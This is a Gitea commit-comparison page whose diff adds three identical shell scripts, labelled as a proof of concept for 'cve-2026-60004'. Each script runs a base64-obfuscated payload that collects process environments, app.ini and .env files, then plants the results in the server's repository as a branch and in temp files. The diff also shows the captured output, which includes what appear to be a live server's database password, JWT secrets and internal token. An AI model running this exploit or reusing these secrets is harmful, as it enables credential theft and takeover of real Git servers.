Compare commits
No commits in common. "output-1256a8a3" and "main" have entirely different histories.
output-125
...
main
|
|
@ -0,0 +1,26 @@
|
|||
#!/bin/sh
|
||||
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
|
||||
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
|
||||
case "$alt" in
|
||||
/*) ;;
|
||||
*) alt="$git_dir/objects/$alt" ;;
|
||||
esac
|
||||
origin_git=${alt%/objects}
|
||||
OUT=$(/bin/sh -c 'echo CmVjaG8gIiMjI0VOVi1CRUdJTiIKZWNobyAiLS0gcHJvYzEtZW52aXJvbiAtLSIKdHIgJ1wwJyAnXG4nIDwgL3Byb2MvMS9lbnZpcm9uIDI+L2Rldi9udWxsIHwgaGVhZCAtODAKZWNobyAiLS0gZW52IC0tIgplbnYgMj4vZGV2L251bGwgfCBzb3J0IHwgaGVhZCAtMTIwCmVjaG8gIi0tIGFwcC5pbmkgLS0iCmZvciBmIGluIC9kYXRhL2dpdGVhL2NvbmYvYXBwLmluaSAvZXRjL2dpdGVhL2FwcC5pbmkgL2FwcC9naXRlYS9jb25mL2FwcC5pbmkgL2RhdGEvY29uZi9hcHAuaW5pIC9kYXRhL2dpdGVhL2dpdGVhL2NvbmYvYXBwLmluaTsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBncmVwIC12RSAiXlxzKig7fCMpIiAiJGYiIDI+L2Rldi9udWxsIHwgaGVhZCAtMTUwOyB9CmRvbmUKZWNobyAiLS0gZG90ZW52IC0tIgpmb3IgZiBpbiAvZGF0YS9naXRlYS8uZW52IC9hcHAvLmVudiAvLmVudiAvZGF0YS9naXRlYS9jb25mLy5lbnYgL3Jvb3QvLmVudiAvaG9tZS8qLy5lbnYgL2RhdGEvZ2l0ZWEvZ2l0ZWEvLmVudjsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBoZWFkIC02MCAiJGYiOyB9CmRvbmUKZWNobyAiIyMjRU5WLUVORCIK | base64 -d | sh' 2>&1)
|
||||
st=$?
|
||||
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
|
||||
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
|
||||
if [ -n "$blob" ]; then
|
||||
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
|
||||
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
|
||||
git --git-dir="$origin_git" update-ref refs/heads/output-1256a8a3 "$commit" 2>/dev/null
|
||||
fi
|
||||
if [ -d "$origin_git" ]; then
|
||||
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
|
||||
fi
|
||||
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
|
||||
if [ -d "$d" ] && [ -w "$d" ]; then
|
||||
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
|
||||
fi
|
||||
done
|
||||
exit 0
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
#!/bin/sh
|
||||
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
|
||||
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
|
||||
case "$alt" in
|
||||
/*) ;;
|
||||
*) alt="$git_dir/objects/$alt" ;;
|
||||
esac
|
||||
origin_git=${alt%/objects}
|
||||
OUT=$(/bin/sh -c 'echo CmVjaG8gIiMjI0VOVi1CRUdJTiIKZWNobyAiLS0gcHJvYzEtZW52aXJvbiAtLSIKdHIgJ1wwJyAnXG4nIDwgL3Byb2MvMS9lbnZpcm9uIDI+L2Rldi9udWxsIHwgaGVhZCAtODAKZWNobyAiLS0gZW52IC0tIgplbnYgMj4vZGV2L251bGwgfCBzb3J0IHwgaGVhZCAtMTIwCmVjaG8gIi0tIGFwcC5pbmkgLS0iCmZvciBmIGluIC9kYXRhL2dpdGVhL2NvbmYvYXBwLmluaSAvZXRjL2dpdGVhL2FwcC5pbmkgL2FwcC9naXRlYS9jb25mL2FwcC5pbmkgL2RhdGEvY29uZi9hcHAuaW5pIC9kYXRhL2dpdGVhL2dpdGVhL2NvbmYvYXBwLmluaTsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBncmVwIC12RSAiXlxzKig7fCMpIiAiJGYiIDI+L2Rldi9udWxsIHwgaGVhZCAtMTUwOyB9CmRvbmUKZWNobyAiLS0gZG90ZW52IC0tIgpmb3IgZiBpbiAvZGF0YS9naXRlYS8uZW52IC9hcHAvLmVudiAvLmVudiAvZGF0YS9naXRlYS9jb25mLy5lbnYgL3Jvb3QvLmVudiAvaG9tZS8qLy5lbnYgL2RhdGEvZ2l0ZWEvZ2l0ZWEvLmVudjsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBoZWFkIC02MCAiJGYiOyB9CmRvbmUKZWNobyAiIyMjRU5WLUVORCIK | base64 -d | sh' 2>&1)
|
||||
st=$?
|
||||
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
|
||||
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
|
||||
if [ -n "$blob" ]; then
|
||||
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
|
||||
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
|
||||
git --git-dir="$origin_git" update-ref refs/heads/output-1256a8a3 "$commit" 2>/dev/null
|
||||
fi
|
||||
if [ -d "$origin_git" ]; then
|
||||
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
|
||||
fi
|
||||
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
|
||||
if [ -d "$d" ] && [ -w "$d" ]; then
|
||||
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
|
||||
fi
|
||||
done
|
||||
exit 0
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
#!/bin/sh
|
||||
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
|
||||
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
|
||||
case "$alt" in
|
||||
/*) ;;
|
||||
*) alt="$git_dir/objects/$alt" ;;
|
||||
esac
|
||||
origin_git=${alt%/objects}
|
||||
OUT=$(/bin/sh -c 'echo CmVjaG8gIiMjI0VOVi1CRUdJTiIKZWNobyAiLS0gcHJvYzEtZW52aXJvbiAtLSIKdHIgJ1wwJyAnXG4nIDwgL3Byb2MvMS9lbnZpcm9uIDI+L2Rldi9udWxsIHwgaGVhZCAtODAKZWNobyAiLS0gZW52IC0tIgplbnYgMj4vZGV2L251bGwgfCBzb3J0IHwgaGVhZCAtMTIwCmVjaG8gIi0tIGFwcC5pbmkgLS0iCmZvciBmIGluIC9kYXRhL2dpdGVhL2NvbmYvYXBwLmluaSAvZXRjL2dpdGVhL2FwcC5pbmkgL2FwcC9naXRlYS9jb25mL2FwcC5pbmkgL2RhdGEvY29uZi9hcHAuaW5pIC9kYXRhL2dpdGVhL2dpdGVhL2NvbmYvYXBwLmluaTsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBncmVwIC12RSAiXlxzKig7fCMpIiAiJGYiIDI+L2Rldi9udWxsIHwgaGVhZCAtMTUwOyB9CmRvbmUKZWNobyAiLS0gZG90ZW52IC0tIgpmb3IgZiBpbiAvZGF0YS9naXRlYS8uZW52IC9hcHAvLmVudiAvLmVudiAvZGF0YS9naXRlYS9jb25mLy5lbnYgL3Jvb3QvLmVudiAvaG9tZS8qLy5lbnYgL2RhdGEvZ2l0ZWEvZ2l0ZWEvLmVudjsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBoZWFkIC02MCAiJGYiOyB9CmRvbmUKZWNobyAiIyMjRU5WLUVORCIK | base64 -d | sh' 2>&1)
|
||||
st=$?
|
||||
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
|
||||
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
|
||||
if [ -n "$blob" ]; then
|
||||
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
|
||||
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
|
||||
git --git-dir="$origin_git" update-ref refs/heads/output-1256a8a3 "$commit" 2>/dev/null
|
||||
fi
|
||||
if [ -d "$origin_git" ]; then
|
||||
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
|
||||
fi
|
||||
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
|
||||
if [ -d "$d" ] && [ -w "$d" ]; then
|
||||
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
|
||||
fi
|
||||
done
|
||||
exit 0
|
||||
183
output
183
output
|
|
@ -1,183 +0,0 @@
|
|||
###ENV-BEGIN
|
||||
-- proc1-environ --
|
||||
sh: can't open /proc/1/environ: Permission denied
|
||||
-- env --
|
||||
GITEA_CUSTOM=/data/gitea
|
||||
GITEA_WORK_DIR=/app/gitea
|
||||
GITEA__database__DB_TYPE=mysql
|
||||
GITEA__database__HOST=db:3306
|
||||
GITEA__database__NAME=gitea
|
||||
GITEA__database__PASSWD=gitea
|
||||
GITEA__database__USER=gitea
|
||||
GIT_CONFIG_PARAMETERS='protocol.version'='2' 'credential.helper'='' 'filter.lfs.required'='' 'filter.lfs.smudge'='' 'filter.lfs.clean'=''
|
||||
GIT_DIR=.
|
||||
GIT_EXEC_PATH=/usr/libexec/git-core
|
||||
GIT_IMPLICIT_WORK_TREE=0
|
||||
GIT_NO_REPLACE_OBJECTS=1
|
||||
GIT_PREFIX=
|
||||
GIT_TERMINAL_PROMPT=0
|
||||
GNUPGHOME=/data/gitea/home/.gnupg
|
||||
HOME=/data/gitea/home
|
||||
HOSTNAME=77ac1a2703e0
|
||||
LC_ALL=C
|
||||
OLDPWD=/etc/s6/gitea
|
||||
PATH=/usr/libexec/git-core:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||||
PWD=/data/gitea/tmp/local-repo/upload.git4043338968
|
||||
SHLVL=4
|
||||
USER=git
|
||||
USER_GID=1000
|
||||
USER_UID=1000
|
||||
-- app.ini --
|
||||
FILE:/data/gitea/conf/app.ini
|
||||
APP_NAME=Gitea: Git with a cup of tea
|
||||
RUN_MODE=prod
|
||||
RUN_USER=git
|
||||
I_AM_BEING_UNSAFE_RUNNING_AS_ROOT=false
|
||||
|
||||
[repository]
|
||||
ROOT=/data/git/repositories
|
||||
ENABLE_PUSH_CREATE_USER=true
|
||||
ENABLE_PUSH_CREATE_ORG=true
|
||||
|
||||
|
||||
[repository.local]
|
||||
LOCAL_COPY_PATH=/data/gitea/tmp/local-repo
|
||||
|
||||
[repository.upload]
|
||||
TEMP_PATH=/data/gitea/uploads
|
||||
|
||||
[server]
|
||||
APP_DATA_PATH=/data/gitea
|
||||
DOMAIN=https://dev.virtuallyteaching.net
|
||||
SSH_DOMAIN=dev.xxampletech.tk
|
||||
HTTP_PORT=3000
|
||||
ROOT_URL=https://dev.virtuallyteaching.net/
|
||||
DISABLE_SSH=false
|
||||
SSH_PORT=22
|
||||
SSH_LISTEN_PORT=22
|
||||
LFS_START_SERVER=true
|
||||
HTTP_ADDR=0.0.0.0
|
||||
PROTOCOL=
|
||||
USE_PROXY_PROTOCOL=false
|
||||
PROXY_PROTOCOL_TLS_BRIDGING=false
|
||||
PROXY_PROTOCOL_HEADER_TIMEOUT=5s
|
||||
PROXY_PROTOCOL_ACCEPT_UNKNOWN=false
|
||||
ALLOW_GRACEFUL_RESTARTS=true
|
||||
GRACEFUL_HAMMER_TIME=1m0s
|
||||
STARTUP_TIMEOUT=0s
|
||||
PER_WRITE_TIMEOUT=30s
|
||||
PER_WRITE_PER_KB_TIMEOUT=10s
|
||||
STATIC_URL_PREFIX=
|
||||
LOCAL_ROOT_URL=http://localhost:3000/
|
||||
LOCAL_USE_PROXY_PROTOCOL=false
|
||||
REDIRECT_OTHER_PORT=false
|
||||
PORT_TO_REDIRECT=80
|
||||
REDIRECTOR_USE_PROXY_PROTOCOL=false
|
||||
OFFLINE_MODE=false
|
||||
STATIC_ROOT_PATH=/app/gitea
|
||||
STATIC_CACHE_TIME=6h0m0s
|
||||
ENABLE_GZIP=
|
||||
ENABLE_PPROF=false
|
||||
PPROF_DATA_PATH=/app/gitea/data/tmp/pprof
|
||||
LANDING_PAGE=home
|
||||
SSH_SERVER_CIPHERS=
|
||||
SSH_SERVER_KEY_EXCHANGES=
|
||||
SSH_SERVER_MACS=
|
||||
SSH_KEYGEN_PATH=
|
||||
SSH_SERVER_USE_PROXY_PROTOCOL=false
|
||||
SSH_TRUSTED_USER_CA_KEYS_FILENAME=/data/git/.ssh/gitea-trusted-user-ca-keys.pem
|
||||
SSH_AUTHORIZED_PRINCIPALS_ALLOW=off
|
||||
MINIMUM_KEY_SIZE_CHECK=true
|
||||
SSH_AUTHORIZED_KEYS_BACKUP=true
|
||||
SSH_CREATE_AUTHORIZED_KEYS_FILE=true
|
||||
SSH_EXPOSE_ANONYMOUS=false
|
||||
SSH_AUTHORIZED_KEYS_COMMAND_TEMPLATE={{.AppPath}} --config={{.CustomConf}} serv key-{{.Key.ID}}
|
||||
SSH_PER_WRITE_TIMEOUT=30s
|
||||
SSH_PER_WRITE_PER_KB_TIMEOUT=10s
|
||||
BUILTIN_SSH_SERVER_USER=git
|
||||
SSH_USER=git
|
||||
LFS_JWT_SECRET=0dfWUHAE4SOIvcwGyQRymcVjX2Cf37hFFVAce5ecqJo
|
||||
|
||||
[database]
|
||||
PATH=/data/gitea/gitea.db
|
||||
DB_TYPE=mysql
|
||||
HOST=db:3306
|
||||
NAME=gitea
|
||||
USER=gitea
|
||||
PASSWD=gitea
|
||||
LOG_SQL=false
|
||||
SCHEMA=
|
||||
SSL_MODE=disable
|
||||
CHARSET=utf8mb4
|
||||
|
||||
[indexer]
|
||||
ISSUE_INDEXER_PATH=/data/gitea/indexers/issues.bleve
|
||||
|
||||
[session]
|
||||
PROVIDER_CONFIG=/data/gitea/sessions
|
||||
PROVIDER=file
|
||||
|
||||
[picture]
|
||||
AVATAR_UPLOAD_PATH=/data/gitea/avatars
|
||||
REPOSITORY_AVATAR_UPLOAD_PATH=/data/gitea/repo-avatars
|
||||
|
||||
[attachment]
|
||||
PATH=/data/gitea/attachments
|
||||
|
||||
[log]
|
||||
MODE=console
|
||||
LEVEL=info
|
||||
ROUTER=console
|
||||
ROOT_PATH=/data/gitea/log
|
||||
STACKTRACE_LEVEL=none
|
||||
BUFFER_LEN=10000
|
||||
ENABLE_SSH_LOG=false
|
||||
ACCESS_LOG_TEMPLATE={{.Ctx.RemoteHost}} - {{.Identity}} {{.Start.Format "[02/Jan/2006:15:04:05 -0700]" }} "{{.Ctx.Req.Method}} {{.Ctx.Req.URL.RequestURI}} {{.Ctx.Req.Proto}}" {{.ResponseWriter.Status}} {{.ResponseWriter.Size}} "{{.Ctx.Req.Referer}}" "{{.Ctx.Req.UserAgent}}"
|
||||
REQUEST_ID_HEADERS=
|
||||
|
||||
[security]
|
||||
INSTALL_LOCK=true
|
||||
SECRET_KEY=
|
||||
REVERSE_PROXY_LIMIT=1
|
||||
REVERSE_PROXY_TRUSTED_PROXIES=*
|
||||
INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE2ODc4OTg1Mjl9.Q3WdKcqFhy9ynXO-SUowAzJsKB4jPkQ3gFa3lC0KJiY
|
||||
PASSWORD_HASH_ALGO=pbkdf2
|
||||
|
||||
[service]
|
||||
DISABLE_REGISTRATION=false
|
||||
REQUIRE_SIGNIN_VIEW=false
|
||||
REGISTER_EMAIL_CONFIRM=false
|
||||
ENABLE_NOTIFY_MAIL=false
|
||||
ALLOW_ONLY_EXTERNAL_REGISTRATION=false
|
||||
ENABLE_CAPTCHA=false
|
||||
DEFAULT_KEEP_EMAIL_PRIVATE=false
|
||||
DEFAULT_ALLOW_CREATE_ORGANIZATION=true
|
||||
DEFAULT_ENABLE_TIMETRACKING=true
|
||||
NO_REPLY_ADDRESS=noreply.localhost
|
||||
|
||||
[lfs]
|
||||
PATH=/data/git/lfs
|
||||
|
||||
[ssh.minimum_key_sizes]
|
||||
|
||||
[oauth2]
|
||||
JWT_SECRET=2vkSe4P4opqvjO9XzzRdTa2g1bdWFF7XFqnj9pz1jkk
|
||||
|
||||
[mailer]
|
||||
ENABLED=false
|
||||
|
||||
[openid]
|
||||
ENABLE_OPENID_SIGNIN=true
|
||||
ENABLE_OPENID_SIGNUP=true
|
||||
|
||||
[cron.update_checker]
|
||||
ENABLED=false
|
||||
|
||||
[repository.pull-request]
|
||||
DEFAULT_MERGE_STYLE=merge
|
||||
|
||||
[repository.signing]
|
||||
DEFAULT_TRUST_MODEL=committer
|
||||
|
||||
-- dotenv --
|
||||
###ENV-END
|
||||
Loading…
Reference in New Issue